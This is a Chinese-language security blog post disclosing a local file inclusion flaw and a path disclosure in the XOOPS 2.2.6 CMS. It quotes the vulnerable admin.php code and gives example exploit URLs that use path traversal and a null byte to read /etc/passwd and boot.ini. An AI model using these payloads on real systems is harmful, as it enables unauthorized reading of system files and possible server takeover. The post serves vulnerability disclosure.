鬼仔's Blog

作者：Oldjun

不经意的遇到这个国外的CMS系统：XOOPS 2.2.6，google了下，版本比较老了，没发现有什么已知漏洞，于是下源码自己看，还是没发现有啥可以利用了，只不过看到了几个鸡肋，于是发出来。

XOOPS is a web application platform written in PHP for the MySQL database.Its object orientation makes it an ideal tool for developing small or large community websites, intra company and corporate portals, weblogs and much more. (Reference : http://www.xoops.org).

1.Local File Inclusion Vulnerabilities：

/*
works with:
magic_quotes_gpc = Off
*/

现在能遇到这个php配置的，简直可以去买彩票了，所以够鸡肋的。

Local File Include vulnerability found in scripts:
modules/system/admin.php

看源码：

<?php
if (isset($_POST['fct'])) {
$fct = trim($_POST['fct']);
}
if (isset($_GET['fct'])) {
$fct = trim($_GET['fct']);
}
$xoopsOption['pagetype'] = "admin";
include "../../mainfile.php";
//利用时需要注册用户并登陆
if (!$xoopsUser) {
redirect_header(XOOPS_URL."/user.php", 3, _AD_NORIGHT);
}
include XOOPS_ROOT_PATH."/include/cp_functions.php";

include_once XOOPS_ROOT_PATH."/modules/system/constants.php";
$error = false;
if (isset($fct) && $fct != '') {
if (file_exists(XOOPS_ROOT_PATH."/modules/system/admin/".$fct."/xoops_version.php")) {

if (file_exists(XOOPS_ROOT_PATH."/modules/system/language/".$xoopsConfig['language']."/admin/".$fct.".php")) {
include XOOPS_ROOT_PATH."/modules/system/language/".$xoopsConfig['language']."/admin/".$fct.".php";
} elseif (file_exists(XOOPS_ROOT_PATH."/modules/system/language/english/admin/".$fct.".php")) {
include XOOPS_ROOT_PATH."/modules/system/language/english/admin/".$fct.".php";
}
include XOOPS_ROOT_PATH."/modules/system/admin/".$fct."/xoops_version.php";
...
?>

If magic_quotes_gpc is disabled, it’s possible to control the “$fct” variable content and inject an arbitrary filename (followed by a NULL byte (%00) to make file_exists() function ignore the
following “/xoops_version.php”), resulting in file content inclusion in application response.

构造fct，基本如果gpc为off，拿shell不成问题。

Example:
http://[server]/[installdir]/modules/system/admin.php?fct=../../../../../../../boot.ini%00
http://[server]/[installdir]/modules/system/admin.php?fct=../../../../../../../etc/passwd%00

2.路径泄露：

很多文件直接访问可以泄露路径：
/class/uploader.php
/class/theme.php

其实在gpc为off下，有第一个漏洞就可以拿下了，但gpc为off太难了，鸡肋鸡肋。

想说一下的是XOOPS系统整体还是很安全的，我看的这个版本已经够老的了，但安全却一点都没马虎，milw0rm上搜了下，XOOPS系统出问题的基本都是modules，各种模块可能有问题，但主系统却没~